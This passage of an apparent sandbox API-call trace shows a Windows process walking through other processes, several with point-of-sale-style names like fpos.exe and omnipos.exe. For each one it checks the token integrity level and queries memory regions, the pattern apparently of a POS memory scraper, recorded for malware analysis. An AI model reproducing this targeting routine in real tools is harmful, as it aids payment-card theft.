lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58 | out: lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58) returned 1 [0075.503] OpenProcessToken (in: ProcessHandle=0x2a4, DesiredAccess=0x8, TokenHandle=0x174fa24 | out: TokenHandle=0x174fa24*=0x2e8) returned 1 [0075.503] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x174fa20 | out: TokenInformation=0x0, ReturnLength=0x174fa20) returned 0 [0075.503] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0075.503] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x1045220, TokenInformationLength=0x14, ReturnLength=0x174fa20 | out: TokenInformation=0x1045220, ReturnLength=0x174fa20) returned 1 [0075.503] GetSidSubAuthorityCount (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0x1045229 [0075.503] GetSidSubAuthority (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0x1045230 [0075.503] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0075.503] NtClose (Handle=0x2e8) returned 0x0 [0075.503] NtQueryVirtualMemory (in: ProcessHandle=0x2a4, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0075.504] NtQueryVirtualMemory (in: ProcessHandle=0x2a4, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0075.514] QueryFullProcessImageNameW (in: hProcess=0x2a8, dwFlags=0x0, lpExeName=0x17f02d0, lpdwSize=0x174fa50 | out: lpExeName="C:\\Program Files (x86)\\Reference Assemblies\\edcsvr.exe", lpdwSize=0x174fa50) returned 1 [0075.514] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x17f02d0) returned 1 [0075.514] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x174fa24 | out: Wow64Process=0x174fa24) returned 1 [0075.514] IsWow64Process (in: hProcess=0x2a8, Wow64Process=0x174fa34 | out: Wow64Process=0x174fa34) returned 1 [0075.514] NtQueryInformationProcess (in: ProcessHandle=0x2a8, ProcessInformationClass=0x18, ProcessInformation=0x174fa30, ProcessInformationLength=0x4, ReturnLength=0x174fa34 | out: ProcessInformation=0x174fa30, ReturnLength=0x174fa34) returned 0x0 [0075.514] GetProcessTimes (in: hProcess=0x2a8, lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58 | out: lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58) returned 1 [0075.515] OpenProcessToken (in: ProcessHandle=0x2a8, DesiredAccess=0x8, TokenHandle=0x174fa24 | out: TokenHandle=0x174fa24*=0x2e8) returned 1 [0075.515] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x174fa20 | out: TokenInformation=0x0, ReturnLength=0x174fa20) returned 0 [0075.515] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0075.515] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x1045220, TokenInformationLength=0x14, ReturnLength=0x174fa20 | out: TokenInformation=0x1045220, ReturnLength=0x174fa20) returned 1 [0075.515] GetSidSubAuthorityCount (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0x1045229 [0075.515] GetSidSubAuthority (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0x1045230 [0075.515] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0075.515] NtClose (Handle=0x2e8) returned 0x0 [0075.515] NtQueryVirtualMemory (in: ProcessHandle=0x2a8, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0075.515] NtQueryVirtualMemory (in: ProcessHandle=0x2a8, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0075.526] QueryFullProcessImageNameW (in: hProcess=0x2ac, dwFlags=0x0, lpExeName=0x181a060, lpdwSize=0x174fa50 | out: lpExeName="C:\\Program Files\\Microsoft Office\\fpos.exe", lpdwSize=0x174fa50) returned 1 [0075.526] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x181a060) returned 1 [0075.526] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x174fa24 | out: Wow64Process=0x174fa24) returned 1 [0075.526] IsWow64Process (in: hProcess=0x2ac, Wow64Process=0x174fa34 | out: Wow64Process=0x174fa34) returned 1 [0075.526] NtQueryInformationProcess (in: ProcessHandle=0x2ac, ProcessInformationClass=0x18, ProcessInformation=0x174fa30, ProcessInformationLength=0x4, ReturnLength=0x174fa34 | out: ProcessInformation=0x174fa30, ReturnLength=0x174fa34) returned 0x0 [0075.526] GetProcessTimes (in: hProcess=0x2ac, lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58 | out: lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58) returned 1 [0075.526] OpenProcessToken (in: ProcessHandle=0x2ac, DesiredAccess=0x8, TokenHandle=0x174fa24 | out: TokenHandle=0x174fa24*=0x2e8) returned 1 [0075.526] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x174fa20 | out: TokenInformation=0x0, ReturnLength=0x174fa20) returned 0 [0075.526] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0075.526] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x1045220, TokenInformationLength=0x14, ReturnLength=0x174fa20 | out: TokenInformation=0x1045220, ReturnLength=0x174fa20) returned 1 [0075.526] GetSidSubAuthorityCount (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0x1045229 [0075.526] GetSidSubAuthority (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0x1045230 [0075.526] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0075.526] NtClose (Handle=0x2e8) returned 0x0 [0075.526] NtQueryVirtualMemory (in: ProcessHandle=0x2ac, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0075.526] NtQueryVirtualMemory (in: ProcessHandle=0x2ac, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0075.537] QueryFullProcessImageNameW (in: hProcess=0x2b0, dwFlags=0x0, lpExeName=0x181a060, lpdwSize=0x174fa50 | out: lpExeName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\isspos.exe", lpdwSize=0x174fa50) returned 1 [0075.537] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1968210 [0075.537] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x18ef4a0) returned 1 [0075.537] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x181a060) returned 1 [0075.537] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x174fa24 | out: Wow64Process=0x174fa24) returned 1 [0075.537] IsWow64Process (in: hProcess=0x2b0, Wow64Process=0x174fa34 | out: Wow64Process=0x174fa34) returned 1 [0075.537] NtQueryInformationProcess (in: ProcessHandle=0x2b0, ProcessInformationClass=0x18, ProcessInformation=0x174fa30, ProcessInformationLength=0x4, ReturnLength=0x174fa34 | out: ProcessInformation=0x174fa30, ReturnLength=0x174fa34) returned 0x0 [0075.538] GetProcessTimes (in: hProcess=0x2b0, lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58 | out: lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58) returned 1 [0075.538] OpenProcessToken (in: ProcessHandle=0x2b0, DesiredAccess=0x8, TokenHandle=0x174fa24 | out: TokenHandle=0x174fa24*=0x2e8) returned 1 [0075.538] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x174fa20 | out: TokenInformation=0x0, ReturnLength=0x174fa20) returned 0 [0075.538] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0075.538] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x1045220, TokenInformationLength=0x14, ReturnLength=0x174fa20 | out: TokenInformation=0x1045220, ReturnLength=0x174fa20) returned 1 [0075.538] GetSidSubAuthorityCount (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0x1045229 [0075.538] GetSidSubAuthority (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0x1045230 [0075.538] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0075.538] NtClose (Handle=0x2e8) returned 0x0 [0075.538] NtQueryVirtualMemory (in: ProcessHandle=0x2b0, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0075.538] NtQueryVirtualMemory (in: ProcessHandle=0x2b0, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0075.549] QueryFullProcessImageNameW (in: hProcess=0x2b4, dwFlags=0x0, lpExeName=0x181a060, lpdwSize=0x174fa50 | out: lpExeName="C:\\Program Files\\DVD Maker\\mxslipstream.exe", lpdwSize=0x174fa50) returned 1 [0075.549] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x181a060) returned 1 [0075.549] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x174fa24 | out: Wow64Process=0x174fa24) returned 1 [0075.550] IsWow64Process (in: hProcess=0x2b4, Wow64Process=0x174fa34 | out: Wow64Process=0x174fa34) returned 1 [0075.550] NtQueryInformationProcess (in: ProcessHandle=0x2b4, ProcessInformationClass=0x18, ProcessInformation=0x174fa30, ProcessInformationLength=0x4, ReturnLength=0x174fa34 | out: ProcessInformation=0x174fa30, ReturnLength=0x174fa34) returned 0x0 [0075.550] GetProcessTimes (in: hProcess=0x2b4, lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58 | out: lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58) returned 1 [0075.550] OpenProcessToken (in: ProcessHandle=0x2b4, DesiredAccess=0x8, TokenHandle=0x174fa24 | out: TokenHandle=0x174fa24*=0x2e8) returned 1 [0075.550] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x174fa20 | out: TokenInformation=0x0, ReturnLength=0x174fa20) returned 0 [0075.550] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0075.550] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x1045220, TokenInformationLength=0x14, ReturnLength=0x174fa20 | out: TokenInformation=0x1045220, ReturnLength=0x174fa20) returned 1 [0075.550] GetSidSubAuthorityCount (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0x1045229 [0075.550] GetSidSubAuthority (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0x1045230 [0075.550] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0075.550] NtClose (Handle=0x2e8) returned 0x0 [0075.550] NtQueryVirtualMemory (in: ProcessHandle=0x2b4, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0075.550] NtQueryVirtualMemory (in: ProcessHandle=0x2b4, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0075.561] QueryFullProcessImageNameW (in: hProcess=0x2b8, dwFlags=0x0, lpExeName=0x181a060, lpdwSize=0x174fa50 | out: lpExeName="C:\\Program Files (x86)\\Common Files\\omnipos.exe", lpdwSize=0x174fa50) returned 1 [0075.561] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x181a060) returned 1 [0075.561] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x174fa24 | out: Wow64Process=0x174fa24) returned 1 [0075.561] IsWow64Process (in: hProcess=0x2b8, Wow64Process=0x174fa34 | out: Wow64Process=0x174fa34) returned 1 [0075.561] NtQueryInformationProcess (in: ProcessHandle=0x2b8, ProcessInformationClass=0x18, ProcessInformation=0x174fa30, ProcessInformationLength=0x4, ReturnLength=0x174fa34 | out: ProcessInformation=0x174fa30, ReturnLength=0x174fa34) returned 0x0 [0075.561] GetProcessTimes (in: hProcess=0x2b8, lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58 | out: lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58) returned 1 [0075.561] OpenProcessToken (in: ProcessHandle=0x2b8, DesiredAccess=0x8, TokenHandle=0x174fa24 | out: TokenHandle=0x174fa24*=0x2e8) returned 1 [0075.561] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x174fa20 | out: TokenInformation=0x0, ReturnLength=0x174fa20) returned 0 [0075.561] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0075.561] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x1045220, TokenInformationLength=0x14, ReturnLength=0x174fa20 | out: TokenInformation=0x1045220, ReturnLength=0x174fa20) returned 1 [0075.561] GetSidSubAuthorityCount (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0x1045229 [0075.561] GetSidSubAuthority (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0x1045230 [0075.561] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0075.561] NtClose (Handle=0x2e8) returned 0x0 [0075.562] NtQueryVirtualMemory (in: ProcessHandle=0x2b8, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0075.562] NtQueryVirtualMemory (in: ProcessHandle=0x2b8, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0075.572] QueryFullProcessImageNameW (in: hProcess=0x2bc, dwFlags=0x0, lpExeName=0x181a060, lpdwSize=0x174fa50 | out: lpExeName="C:\\Program Files\\MSBuild\\spcwin.exe", lpdwSize=0x174fa50) returned 1 [0075.572] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x181a060) returned 1 [0075.572] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x174fa24 | out: Wow64Process=0x174fa24) returned 1 [0075.573] IsWow64Process (in: hProcess=0x2bc, Wow64Process=0x174fa34 | out: Wow64Process=0x174fa34) returned 1 [0075.573] NtQueryInformationProcess (in: ProcessHandle=0x2bc, ProcessInformationClass=0x18, ProcessInformation=0x174fa30, ProcessInformationLength=0x4, ReturnLength=0x174fa34 | out: ProcessInformation=0x174fa30, ReturnLength=0x174fa34) returned 0x0 [0075.573] GetProcessTimes (in: hProcess=0x2bc, lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58 | out: lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58) returned 1 [0075.573] OpenProcessToken (in: ProcessHandle=0x2bc, DesiredAccess=0x8, TokenHandle=0x174fa24 | out: TokenHandle=0x174fa24*=0x2e8) returned 1 [0075.573] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x174fa20 | out: TokenInformation=0x0, ReturnLength=0x174fa20) returned 0 [0075.573] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0075.573] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x1045220, TokenInformationLength=0x14, ReturnLength=0x174fa20 | out: TokenInformation=0x1045220, ReturnLength=0x174fa20) returned 1 [0075.573] GetSidSubAuthorityCount (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0x1045229 [0075.573] GetSidSubAuthority (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0x1045230 [0075.573] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0075.573] NtClose (Handle=0x2e8) returned 0x0 [0075.573] NtQueryVirtualMemory (in: ProcessHandle=0x2bc, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0075.573] NtQueryVirtualMemory (in: ProcessHandle=0x2bc, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0075.584] QueryFullProcessImageNameW (in: hProcess=0x2c0, dwFlags=0x0, lpExeName=0x181a060, lpdwSize=0x174fa50 | out: lpExeName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\spgagentservice.exe", lpdwSize=0x174fa50) returned 1 [0075.585] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1968630 [0075.585] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x18ef6c0) returned 1 [0075.585] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x181a060) returned 1 [0075.585] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x174fa24 | out: Wow64Process=0x174fa24) returned 1 [0075.585] IsWow64Process (in: hProcess=0x2c0, Wow64Process=0x174fa34 | out: Wow64Process=0x174fa34) returned 1 [0075.585] NtQueryInformationProcess (in: ProcessHandle=0x2c0, ProcessInformationClass=0x18, ProcessInformation=0x174fa30, ProcessInformationLength=0x4, ReturnLength=0x174fa34 | out: ProcessInformation=0x174fa30, ReturnLength=0x174fa34) returned 0x0 [0075.585] GetProcessTimes (in: hProcess=0x2c0, lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58 | out: lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58) returned 1 [0075.585] OpenProcessToken (in: ProcessHandle=0x2c0, DesiredAccess=0x8, TokenHandle=0x174fa24 | out: TokenHandle=0x174fa24*=0x2e8) returned 1 [0075.585] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x174fa20 | out: TokenInformation=0x0, ReturnLength=0x174fa20) returned 0 [0075.585] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0075.585] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x1045220, TokenInformationLength=0x14, ReturnLength=0x174fa20 | out: TokenInformation=0x1045220, ReturnLength=0x174fa20) returned 1 [0075.585] GetSidSubAuthorityCount (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0x1045229 [0075.585] GetSidSubAuthority (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0x1045230 [0075.585] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0075.585] NtClose (Handle=0x2e8) returned 0x0 [0075.585] NtQueryVirtualMemory (in: ProcessHandle=0x2c0, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0075.585] NtQueryVirtualMemory (in: ProcessHandle=0x2c0, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0075.596] QueryFullProcessImageNameW (in: hProcess=0x2c4, dwFlags=0x0, lpExeName=0x181a060, lpdwSize=0x174fa50 | out: lpExeName="C:\\Program Files\\Uninstall Information\\utg2.exe", lpdwSize=0x174fa50) returned 1 [0075.597] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x181a060) returned 1 [0075.597] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x174fa24 | out: Wow64Process=0x174fa24) returned 1 [0075.597] IsWow64Process (in: hProcess=0x2c4, Wow64Process=0x174fa34 | out: Wow64Process=0x174fa34) returned 1 [0075.597] NtQueryInformationProcess (in: ProcessHandle=0x2c4, ProcessInformationClass=0x18, ProcessInformation=0x174fa30, ProcessInformationLength=0x4, ReturnLength=0x174fa34 | out: ProcessInformation=0x174fa30, ReturnLength=0x174fa34) returned 0x0 [0075.597] GetProcessTimes (in: hProcess=0x2c4, lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58 | out: lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58) returned 1 [0075.597] OpenProcessToken (in: ProcessHandle=0x2c4, DesiredAccess=0x8, TokenHandle=0x174fa24 | out: TokenHandle=0x174fa24*=0x2e8) returned 1 [0075.597] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x174fa20 | out: TokenInformation=0x0, ReturnLength=0x174fa20) returned 0 [0075.597] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0075.597] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x1045220, TokenInformationLength=0x14, ReturnLength=0x174fa20 | out: TokenInformation=0x1045220, ReturnLength=0x174fa20) returned 1 [0075.597] GetSidSubAuthorityCount (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0x1045229 [0075.597] GetSidSubAuthority (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0x1045230 [0075.597] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0075.597] NtClose (Handle=0x2e8) returned 0x0 [0075.597] NtQueryVirtualMemory (in: 